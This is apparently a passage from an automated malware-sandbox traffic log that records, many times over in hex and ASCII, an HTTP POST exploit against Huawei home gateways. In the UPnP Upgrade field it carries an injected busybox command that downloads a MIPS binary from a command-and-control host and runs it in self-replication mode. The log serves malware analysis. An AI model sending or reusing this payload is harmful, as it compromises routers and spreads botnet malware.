6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 